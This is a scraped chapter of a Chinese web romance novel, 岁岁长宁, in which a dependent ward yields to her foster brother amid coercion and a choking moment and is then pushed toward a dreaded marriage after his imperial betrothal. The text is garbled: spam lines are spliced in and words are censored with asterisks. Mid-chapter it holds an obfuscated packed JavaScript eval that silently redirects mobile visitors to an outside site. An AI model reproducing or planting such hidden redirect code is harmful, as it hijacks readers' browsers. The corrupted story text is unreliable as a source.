第42章 了断
作品:《岁岁长宁》 姜幼宁推了他一下。
推不开。
她心里好像有一根弦彻底断开了,瞬间失去了所有挣扎的力气,手缓缓垂落在身侧。
黑暗中,赵元澈捧过她的脸儿,唇贴在她额头上,软软的,热热的。
呼吸打下来,都是他的气息。
他在亲吻她。
她一反常态,不躲不避,半分也不动,也没有一点抗拒之言。
赵元澈的指尖触到一点湿热。
他察觉不对,顿住动作。
“你要睡便睡。
姜幼宁声音小小的,语气硬硬的。
还抗拒什么呢?痛也就一夜,过去就不痛了。
无论是赵元澈还是韩氏的安排,都是她无法抗拒的。
一个无依无靠的养女,本就该好好听安排,回报府里的养育之恩。
反抗也是无谓地挣扎,没有什么必要了。
“你愿意嫁给周志尚是不是?
赵元澈语气凛冽,伸手勾起床幔。
摇晃的烛光照进床幔内。
“我愿意。
姜幼宁盯着帐顶,眸光黯淡。眼睫浸透泪意,一滴清泪将落未落缀在通红的眼角。鼻尖红红的,却兀自倔强地抿着唇不发出丝毫啜泣。
柔弱的,可怜的,仿佛下一刻要破碎了一般。
她不愿意又如何?
由得她做主吗?
听韩氏的,嫁过去,即便是**也只是她命不好。
她倒是想反抗,她拿什么反抗?
用自己的身子求他帮她?
那以后呢?
等他腻了她时,韩氏又找来**尚,李志尚,她又能去求谁?
好没意思啊。
赵元澈烦躁地扯了扯衣领。
姜幼宁抬起素白纤细的手指,捏住衣带的一端,缓缓扯开。
接着,是下一根。
一根一根的衣带解开散落。
“你来吧,不用替我推去婚事。等我嫁过去,你就没有机会了。这算我对你恩情的报答。等出了镇国公府的门,我与你、与整个镇国公府都再没有关系。
她轻轻的缓缓的开口,整个人像一团将要飘散的雾。
他想要的不就是这个么?
她给他就是了。
等他得到了,久了,腻了,自然不会再纠缠她。
她嫁给周志尚,能活下去、能跑了便算她命好。
若是**,那就是她的命。
中衣落下。
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
点点昏黄的光晕朦朦胧胧笼着她。
她脸儿本就莹白无瑕。身上更甚。嫩生生的好似上好的水豆腐。周身流转着一层淡淡的昏黄光华像香甜诱人的蜜。
赵元澈呼吸微促转开目光拉过被踢到一边的被子胡乱裹住她。
姜幼宁挣扎着要推开被子。
赵元澈大掌掐住她纤细的脖颈。
“姜幼宁你再说一遍。”
他眼眸赤红。
鲜少的他动了怒。
“这不就是你想要的吗?”
姜幼宁转过湿漉漉的眸子看着他眸光破碎绝望。
她脸憋红咳嗽了一声。
他想要她给他他恼什么?
“好那你就嫁过去。”
赵元澈猛地撤回手起身扯下床幔摔门去了。
这一夜姜幼宁睡得不好。
一会儿梦一会儿醒。
梦里是赵元澈恼怒的眼神……周志尚油腻的目光……她被韩氏装扮起来抬去了周府……
来来**全是噩梦。
“姑娘
芳菲一早来叫她起床。
这个时辰起来用过早饭正好去医馆。
“我再睡一会儿。”
姜幼宁倦怠得厉害抱紧身上的被子。
“你今儿个不去医馆吗?”
芳菲挑开床幔问。
“不去了。”
姜幼宁看着床里侧出神。
芳菲正要问她怎么了。
姜幼宁忽然想起什么来坐起身道:“还是要去一趟。”
芳菲替她穿戴整齐将早饭端进卧室来。
姜幼宁尝不出滋味儿草草吃了几口。
芳菲将早饭撤了下去。
姜幼宁走到衣橱边取出妆奁盒打开拿出银票数了数。将那叠银票小心翼翼地放进袖袋中。
末了她将妆奁盒放了回去快步往外而行。
*
姜幼宁原想到医馆和张大夫说一声。
张大夫帮她几年她不来了总要跟他老人家打声招呼。
但等到了医馆一瞧实在太过忙碌从张大夫到伙计每个人都忙得团团转。
姜幼宁过意不去便也跟着忙碌起来。
这一忙便到了晌午时分。
总算人散了大家好歇口气。
她进了后院。
谢淮与伸着长腿坐在廊下的地上有一下没一下地翻着竹匾里的草药。
你的朋友正在书荒,快去帮帮他吧
看着就不像个会干活的。
“谢淮与。
姜幼宁唤了他一声。
“怎么?想我了?
谢淮与抬起狭长漂亮的狐狸眼,瞧见是她不由笑了。
他骨相薄,五官却生得浓烈,天生一张负心薄情的脸。脸上那道新伤痕,为他平添了几分戾气。
“你的伤有没有继续上药?
姜幼宁习惯了他的没正形,蹲下身仔细瞧他面上的伤痕。
“不碍事。谢淮与抬眸,笑得有几分混:“这么关心我?
姜幼宁不理他的话,从袖中取出那叠银票,递到他面前。
“这里是一百两。你拿去还债,给你母亲治病。
谢淮与望着眼前绵白纤细的手捏着那叠银票送到他面前,头一回失了神,眸底有什么东西在翻滚。
“你不用觉得不好意思,我是借给你的。姜幼宁抿抿唇:“这是我全部的家当了。你以后有了银子,记得要还给我。
这点银子,远不够她带吴妈妈离开。却能救谢淮与母亲的命。
她比谁都知道,生病的人拖延不得。
何况,谢淮与那晚救过她。
谢淮与的目光从她手上缓缓移到她面上。
少女沐浴在秋日的阳光下,一张明净的脸儿莹白到几近剔透,鼻尖上沁出点点汗珠。黑白分明的眸澄澈见底,至纯至善。纤长的眼睫卷卷翘翘,眨眼时的轻颤仿佛拨在人心上。
如山茶盛开在晨雾间,稠丽脱俗,烟笼霞罩。
谢淮与喉结滚了一下,心也动了一下。
她和别人,好像不一样。
“你发什么呆?拿着呀。
姜幼宁蹙眉,将银票塞在他手中。
不知他盯着她在想什么。想来,是堂堂男儿借用她一个女儿家的银子,是觉得不好意思了。
不过她不觉得这有什么,谁还没有遇到困难的时候?
谢淮与回神,看了一眼手里的那叠银票,抬眸笑看着她,神色恢复了一贯的散漫。
“姜幼宁,你确定要将全部的家当都交给我?
他笑得意味深长。
“我既然拿给你了,还能反悔不成?姜幼宁站起身:“好了,你好好干活吧,没事儿别惹张大夫生气。
她没打算和他说自己不来了的事。
“阿宁呐,叫淮与一起拿碗筷来吃饭了。
张大夫的声音传来。
“张大夫。姜幼宁朝他走过去,迟疑着道:
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
“我以后不能来了。”
她低下头,心中歉然。
张大夫帮她良多。眼下,医馆正是忙的时候,她却拍拍手走了。
实在对不起他。
“是府里有事?”
张大夫愣了一下,开口问。
谢淮与也跟上前,靠在廊柱上看着姜幼宁没有说话。
“嗯。”
姜幼宁点点头,没有解释。
根本无从说起。
说多了也只是徒让张大夫跟着操心,不如不说。
“我知道了。”张大夫点点头,顿了片刻道:“过几日便是中秋了。往年都是一起过的,不然到时候出来一起吃个团圆饭,也算是为你送别了?”
他心疼这孩子,某种程度而言,他是拿她当女儿一样的。
突然间要走,他也有不舍。
不过,他明白姜幼宁的难处。侯门深似海,姜幼宁身处镇国公府,身不由己的时候太多了。
能在他这里帮忙几年,已经很难得了。
谢淮与目光落在姜幼宁脸上,等她回答。
“好。”
姜幼宁弯眸笑笑,答应了下来。
“吴妈妈那里我得空回去看看,你别太担心。坐下吃了饭再走吧。”
张大夫招呼。
“还有人呢?”
姜幼宁问。
除了她和谢淮与,医馆里还有一男一女两个帮工。
“到外面看热闹去了。我们先吃。”
张大夫笑着回道。
姜幼宁提起筷子吃了几口饭。
不远处,忽然传来一阵噼里啪啦的鞭炮声。
鞭炮声持续良久,有鼎沸的人声传过来,热闹非凡。
“好像是淮南王妃带着郡主女儿搬进新府了。”
谢淮与笑看着姜幼宁,说了一句。
姜幼宁垂着眸子,盯着碗里的饭吃了一小口,没有说话。
“姜姑娘,你不早点来,看我们捡的利是钱。”女帮工进来便将手里的几十个铜钱给他们瞧:“镇国公世子就是大方,撒了好多钱,每个人都抢了好多呢。”
男帮工进来紧跟着笑道:“随手就送了未来岳母玉和园旁边最大的宅子,有的是银子,可不就大方吗?说起来,那苏郡主是真好看,难怪世子出手这么大方。”
“对。”女帮工附和:“世子也好看,那两人真是般配得很。”
姜幼宁纤长的羽睫轻颤了一下,低头扒了一口饭。
“我听说,淮南王差人给陛下
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
送了礼,镇国公府也有。这两天赐婚的旨意就要下来了。
谢淮与望着姜幼宁,慢条斯理地开口。
姜幼宁又扒了一口饭。凭借本能咀嚼着,不知道自己吃的是什么。
“阿宁,你没有什么看法么?
谢淮与故意问她。
姜幼宁回神,朝他笑了笑:“这不是好事儿么?
他是惊才绝艳的天之骄子,该有这门当户对的好姻缘。
她命如浮萍,飘到哪算到哪。
出了医馆,走了一阵。
后头传来急促的马蹄声。
姜幼宁忙让到一边。
“姑娘,是世子爷和苏郡主。
馥郁眼尖,一下认出马上之人。
姜幼宁举目瞧去。
赵元澈端坐在高头大马之上,身姿挺拔,风姿清绝。
苏云轻一袭红衣,眉眼标致,英姿飒爽。
二人并辔而驰,郎才女貌。
姜幼宁往角落里让了让。
赵元澈行到近处,冷冷地瞥了她一眼,便策马疾驰而去。
姜幼宁站在马儿扬起的尘土中,只觉得自己灰头土脸,分外狼狈。
姜幼宁走回镇国公府。
“哎哟,姜姑娘,您怎么在外头?快到正厅去吧,夫人召集了府里所有的人,陛下给世子赐婚的旨意快要到了。
门房见姜幼宁从外面进来,很是惊讶。他倒也没为难她,只是一迭声的催促她快些去正厅。
姜幼宁这才明白过来。
原来,赵元澈和苏云轻方才策马急着往回赶,是赐婚的旨意下来了。
她掐着手心,脸儿一点一点白了。
这一日终是来了。
她麻木地往前走着,深一脚浅一脚像踩在软软的棉花上。心也浮着,没个着力的地方。
“姑娘……
馥郁上前扶着她。
“你以后不用跟着我了。
姜幼宁抬眸看看她,推开了她的手。
馥郁是赵元澈的人。
他婚事既然定下,她就该和他划清界限。
所有他的东西,都还给他。
“姑娘!馥郁再次拉住她的手:“奴婢的命是姑娘救的,生死都是姑娘的人。
姜幼宁不理她,自顾自往前走。
馥郁又跟了上去。
“你去哪里了?快点进来。
韩氏正在正厅门口,见到姜幼宁不悦地皱眉。
她今日叫了周志尚来,
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
本有安排,不想姜幼宁不声不响地竟不在府中。
姜幼宁朝她行了一礼,没有说话。心中实在太乱,不知要说什么。也怕说错了话,反而露出端倪。
好在韩氏这会儿一门心思都在接旨上,并没有太过计较。
姜幼宁提起裙摆,跨过门槛走进正厅。
入目便是赵元澈轩昂的背影,身姿挺拔,肩宽腿长。
他和苏云轻站在一处,被一众人围着说话。
无论周围有多少人,他总是最惹人注目的存在。
姜幼宁收回目光,寻了个角落安静地待着。
一如往常所有的时候。
“姜姐姐,你看那个人。
赵月白小心地用手肘碰了碰她。
姜幼宁顺着她的目光看过去,本就苍白的脸色更难看了几分。
是周志尚。
他怎么来了?
她想起韩氏责备的目光。
想来,韩氏是想让她今日和周志尚见面,但她没在府里。这会儿恰好碰上陛下给赵元澈和苏云轻赐婚?
周志尚对上她的目光,竟朝她走过来。
姜幼宁只觉得自己好像被毒蛇盯上了一般,心慌地后退了两步,只想找个地方躲起来。
“你就是姜幼宁吧?
周志尚声音偏细,打量着她的目光阴柔而赤裸。好像用眼神剥光了她一般。
姜幼宁蹙眉,被他看得心中很是不适。但又不好太失礼,强撑着点点头,脸色白得吓人。
近看周志尚比远看更让她别扭。
赵月白连退了几步,默默躲开了。姜姐姐真可怜,要是叫她嫁给这样的人,不如直接叫她**。
“国公夫人叫我来和你相看,你看我……
周志尚盯着她开口。
姜幼宁只觉心中一阵恶寒,避开他的目光打断他的话:“等母亲来了再说吧。
她本来以为自己可以平静地接受这门亲事。
真面对周志尚时,她发现不行。她得想个法子摆脱这个人。
太恶心了。
她无法接受。
嫁给周志尚就是身体和心灵的双重折磨。她恐怕真活不过一年。
这一刻,她燃起了求生欲。
“姜姑娘是没看上在下吗?
周志尚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913855|192480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往前几步,目光幽暗阴森。
步步紧逼。
姜幼宁额头上见了汗,腿发软。她已然靠到墙边,退无可退。
周志尚既让她恶心,又让她害怕。
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
“姜幼宁过来。”
赵元澈的声音传来。
姜幼宁如蒙大赦忙走过去。
赵元澈这会儿的声音好似仙音。
她也头一回觉得被这一屋子人盯着看比被周志尚一个人看着自在得多。
“兄长。”
她走上前朝赵元澈行礼。
赵元澈垂眸淡淡地扫了她一眼没有说话。
苏云轻露齿笑道:“姜妹妹这一屋子的人都在恭喜我和世子。你怎么不恭喜我们?是不看好我们吗?”
她挽着赵元澈扬扬得意挑衅地看着姜幼宁。
不管姜幼宁和赵元澈私底下有没有什么暧昧不清的事眼下她和赵元澈的婚事已成定局且还是陛下赐婚。
她有资格得意。
赵元澈神色漠然
“恭喜兄长和嫂嫂有情人终成眷属风月常新白首偕老。”
姜幼宁鸦青长睫之下眸光黯淡缓缓说出祝福之言。
原来是苏云轻让他叫她来只为问她这句话。
她知道苏云轻怀疑她和赵元澈之间有事问这话旨在羞辱她。
这些词是她从前在别人的婚宴上学的。
她对这些词语的意思一知半解但总觉得很美好。用来祝福他们应该没用错吧?
只是这一字一句好似在心上自我凌迟。心口痛意绵绵不绝无法摆脱令她窒息。
“姜妹妹会的词还不少……”
苏云轻欢快地笑起来很是满意。
“圣旨到——”
内监尖细的嗓音传进正厅。
厅内众人顿时跪了一地。
大太监高义走进来目光环顾众人一圈宣读圣旨。
奉天承运皇帝诏曰:
郡主苏云轻淮南王之女秉性端淑贵典之重……
今镇国公世子殿前指挥使赵元澈出身世族文武双修忠正廉洁……
二人良缘天作……
今朕特下旨赐婚另择良日成婚。
钦此——
姜幼宁只觉高义的声音忽远忽近有时候在耳边有时候又好像在天边。赐婚的旨意她只听了个大概。
后头“赐婚”二字倒是清晰地劈在她耳中。
这次没错了。
是赐婚的旨意。
赵元澈和苏云轻的婚事正式定下了。
起身时她眼前一阵发黑。
众人都忙着上前接旨
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
与高义说话并无人留意她。
好在她身旁的赵月白眼疾手快连忙扶住她。
“姜姐姐你怎么了?”
赵月白小声问。
“起身太快了不碍事。”
姜幼宁摆摆手。
“我扶你回去吧。”
赵月白挽住她。
“幼宁等一下。”
韩氏百忙之中还能留意到她。
姜幼宁心中难受至极只想即刻躺下休息。她强撑着停住步伐回头看韩氏:“母亲还有吩咐?”
“我昨晚和你说的周大人。”韩氏走上前来指了指周志尚:“今儿个特意来和你相见的。”
周志尚走上前来目光始终落在姜幼宁身上。
姜幼宁本就难受被他看得浑身发冷心里头直犯恶心。
“母亲我……”
她脱口便要和韩氏拒绝这门亲事。
没有考虑太多她真的无法接受嫁给周志尚这样的人。
“幼宁啊先相处看看。”
韩氏看穿她的想法打断了她的话。
她决定的事
“姜姑娘若是对在下有什么不满的在下可以改正……”
周志尚紧跟着开口对她露出自认为和善的笑意。
姜幼宁胃中翻滚摆摆手快步走出门到墙边剧烈地呕吐起来。
她最近没怎么休息好。
方才赐婚之事本就在她心中掀起滔天巨浪她尚且在接受之中。
再面对周志尚这样叫她反感的人她实在克制不住。扶着墙几乎将胆汁都吐了出来眼泪也跟着哗哗往下掉。
“姜姑娘你没事吧?”
偏偏周志尚还上前来询问。
姜幼宁不理会他转身便走。再多看一眼她又要吐了。
韩氏跟上来道:“今日你们就算见过了接下来好生相处。”
姜幼宁快步往邀月院走眼泪掉了一路。
她不明白。
韩氏恨她小时候扔过她。后来明明有无数次机会可以要她的小命——她**也没人追究的。
不知道韩氏为什么还要养大她再将她嫁给周志尚这样的人。
就纯粹是为了折磨她吗?
韩氏为什么那么恨她?是不是和她的身世有关?她又想起冯妈妈那日的话。
冯妈妈说她和她娘亲一样。
回到邀月院稍微洗漱了一下姜幼宁便躺下了。
许
你的朋友正在书荒,快去帮帮他吧
是太累了,又或者呕吐宣泄了积压许久的心病。
她竟很快睡着了。
睁眼时,外头天已经黑了,不知是什么时辰。
她脑子里空空的,身上也没有力气,好像是生病了。眼睛盯着黑漆漆的帐顶,不想动弹。
眼前又浮现出赵元澈和苏云轻磕头接旨的一幕。
好生般配。
再想到周志尚那张阴柔的脸。
她口中泛起点点苦涩。
床幔外,有人点了蜡烛,视线里逐渐有了光亮。
耳边传来碗碟碰撞之声。
姜幼宁还是平躺着没有动。
“起来,用饭。”
赵元澈勾起床幔。
姜幼宁眼眸轻眨了一下,没有动。
他和苏云轻已经是未婚夫妻了,圣上亲赐的婚姻。
怎么还像个没事的人一样,到她院子里来,管她吃不吃饭?
而且,昨日她惹恼他了。他不会管她和周志尚的事,也不会过问她的死活。
那他还来做什么?
赵元澈在床沿处坐下,大手探上了她的额头。
他手心粗糙温热,甘松香的气息透过来。
“可有哪里难受?”
他拉住她纤细绵白的手。
她手不大,恰好够他握在手心。软软凉凉的,像质地良好的羊脂玉,又像细腻的油脂,似乎一不小心就会化了去。
姜幼宁忽然抽回手坐起身来。
她没有看他,只自顾自地踩着绣鞋下了床。
桌上,他已然摆了几样色香味俱全的菜肴,还有她爱吃的糖蒸酥酪。
她径直走到床尾处,拉出一个樟木箱来。
“你找什么?”
赵元澈跟上去询问。
姜幼宁不说话,开了樟木箱从里头取出一个精致的楠木盒来,上头有宝翠楼的标。
赵元澈眉心皱起。
姜幼宁放下楠木盒,又俯身从樟木箱中取出一沓银票。还有几身衣裙。
“这些东西,都是兄长之前给我的。眼下兄长有了嫂嫂,这些东西我不便留着。今日便一并还给兄长,做个了断。”
她靠在衣橱上,捧着那些东西抬眸望着他。面容憔悴,喘息微微。
他回来后送她的东西,她都攒着。
只等这一日。

